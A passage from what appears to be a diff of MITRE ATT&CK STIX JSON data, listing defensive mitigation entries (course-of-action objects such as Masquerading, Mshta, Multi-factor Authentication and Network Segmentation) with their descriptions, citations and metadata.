Guard April 2017", + "description": "Lich, B., Tobin, J., Hall, J. (2017, April 5). Manage Windows Defender Credential Guard. Retrieved November 27, 2017.", + "url": "https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-manage" + }, + { + "source_name": "Microsoft Credential Guard April 2017", + "description": "Lich, B., Tobin, J. (2017, April 5). How Windows Defender Credential Guard works. Retrieved November 27, 2017.", + "url": "https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-how-it-works" + }, + { + "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.", + "source_name": "Microsoft DLL Security", + "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--7a6e5ca3-562f-4185-a323-f3b62b5b2e6b", + "modified": "2019-07-24T19:47:23.978Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Launch Agent Mitigation", + "description": "Restrict user's abilities to create Launch Agents with group policy.", + "external_references": [ + { + "external_id": "T1159", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1159" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--121b2863-5b97-4538-acb3-f8aae070ec13", + "modified": "2019-07-24T19:47:59.038Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Launch Daemon Mitigation", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.", + "external_references": [ + { + "external_id": "T1160", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1160" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--402e92cd-5608-4f4b-9a34-a2c962e4bcd7", + "modified": "2019-07-24T19:48:23.825Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Launchctl Mitigation", + "description": "Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.", + "external_references": [ + { + "external_id": "T1152", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1152" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc", + "modified": "2019-07-24T19:48:43.583Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Limit Access to Resource Over Network", + "description": "Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.", + "external_references": [ + { + "external_id": "M1035", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1035" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11T16:30:16.672Z", + "id": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "modified": "2019-06-11T16:30:16.672Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Limit Hardware Installation", + "description": "Block users or groups from installing or using unapproved hardware on systems, including USB devices.", + "external_references": [ + { + "external_id": "M1034", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1034" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11T16:28:41.809Z", + "id": "course-of-action--2995bc22-2851-4345-ad19-4e7e295be264", + "modified": "2019-06-11T16:28:41.809Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Limit Software Installation", + "description": "Block users or groups from installing unapproved software.", + "external_references": [ + { + "external_id": "M1033", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1033" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11T16:26:52.202Z", + "id": "course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547", + "modified": "2019-06-11T16:26:52.202Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Local Job Scheduling Mitigation", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.", + "external_references": [ + { + "external_id": "T1168", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1168" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--c47a9b55-8f61-4b82-b833-1db6242c754e", + "modified": "2019-08-17T12:10:09.748Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Login Item Mitigation", + "description": "Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).", + "external_references": [ + { + "external_id": "T1162", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1162" + }, + { + "source_name": "Re-Open windows on Mac", + "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.", + "url": "https://support.apple.com/en-us/HT204005" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--06824aa2-94a5-474c-97f6-57c2e983d885", + "modified": "2019-07-24T19:49:43.716Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Logon Scripts Mitigation", + "description": "Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nIdentify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.", + "external_references": [ + { + "external_id": "T1037", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1037" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--9ab7de33-99b2-4d8d-8cf3-182fa0015cc2", + "modified": "2019-07-24T19:50:39.777Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Man in the Browser Mitigation", + "description": "Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) opportunities can limit the exposure to this technique. \n\nClose all browser sessions regularly and when they are no longer needed.", + "external_references": [ + { + "external_id": "T1185", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1185" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--94f6b4f5-b528-4f50-91d5-f66457c2f8f7", + "modified": "2019-07-25T11:12:34.303Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Masquerading Mitigation", + "description": "When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\\Windows\\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.\n\nIdentify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1036", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1036" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--45e7f570-6a0b-4095-bf02-4bca05da6bae", + "modified": "2019-07-25T11:12:58.607Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Modify Existing Service Mitigation", + "description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.", + "external_references": [ + { + "external_id": "T1031", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1031" + }, + { + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "source_name": "Powersploit", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--fe0aeb41-1a51-4152-8467-628256ea6adf", + "modified": "2019-07-25T11:13:20.607Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Modify Registry Mitigation", + "description": "Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through [Service Registry Permissions Weakness](https://attack.mitre.org/techniques/T1058). Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1112", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1112" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--ed202147-4026-4330-b5bd-1e8dfa8cf7cc", + "modified": "2019-07-25T11:13:41.482Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Mshta Mitigation", + "description": "Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1170", + "url": "https://attack.mitre.org/mitigations/T1170" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--d2dce10b-3562-4d61-b2f5-7c6384b038e2", + "modified": "2019-07-25T11:14:01.112Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Multi-Stage Channels Mitigation", + "description": "Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)", + "external_references": [ + { + "external_id": "T1104", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1104" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--514e7371-a344-4de7-8ec3-3aa42b801d52", + "modified": "2019-07-25T11:14:24.192Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Multi-factor Authentication", + "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", + "external_references": [ + { + "external_id": "M1032", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1032" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-10T20:53:36.319Z", + "id": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "modified": "2019-06-10T20:53:36.319Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Multi-hop Proxy Mitigation", + "description": "Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1172).", + "external_references": [ + { + "external_id": "T1188", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1188" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--752db800-ea54-4e7a-b4c1-2a0292350ea7", + "modified": "2019-07-25T11:14:52.662Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Multiband Communication Mitigation", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "external_references": [ + { + "external_id": "T1026", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1026" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--da987565-27b6-4b31-bbcd-74b909847116", + "modified": "2019-07-25T11:15:17.942Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Multilayer Encryption Mitigation", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)", + "external_references": [ + { + "external_id": "T1079", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1079" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--24478001-2eb3-4b06-a02e-96b3d61d27ec", + "modified": "2019-07-25T11:15:39.400Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "NTFS File Attributes Mitigation", + "description": "It may be difficult or inadvisable to block access to EA and ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Symantec ADS May 2009) Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA and ADSs by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nConsider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)", + "external_references": [ + { + "external_id": "T1096", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1096" + }, + { + "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.", + "source_name": "Microsoft ADS Mar 2014", + "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/" + }, + { + "source_name": "Symantec ADS May 2009", + "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.", + "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + }, + { + "source_name": "InsiderThreat NTFS EA Oct 2017", + "description": "Sander, J. (2017, October 12). Attack Step 3: Persistence with NTFS Extended Attributes \u2013 File System Attacks. Retrieved March 21, 2018.", + "url": "https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--ac008435-af58-4f77-988a-c9b96c5920f5", + "modified": "2019-07-25T11:16:03.327Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Netsh Helper DLL Mitigation", + "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)", + "external_references": [ + { + "external_id": "T1128", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1128" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--624d063d-cda8-4616-b4e4-54c04e427aec", + "modified": "2019-07-25T11:16:27.620Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Network Denial of Service Mitigation", + "description": "When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)\n\nDepending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)\n\nAs immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1498", + "url": "https://attack.mitre.org/mitigations/T1498" + }, + { + "source_name": "CERT-EU DDoS March 2017", + "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.", + "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T18:46:47.964Z", + "id": "course-of-action--654addf1-47ab-410a-8578-e1a0dc2a49b8", + "modified": "2019-07-25T11:16:48.088Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Network Intrusion Prevention", + "description": "Use intrusion detection signatures to block traffic at network boundaries.", + "external_references": [ + { + "external_id": "M1031", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1031" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-10T20:46:02.263Z", + "id": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-06-10T20:46:02.263Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Network Segmentation", + "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", + "external_references": [ + { + "external_id": "M1030", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1030" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-10T20:41:03.271Z", + "id": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-06-10T20:41:03.271Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Network Service Scanning Mitigation", + "description": "Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: 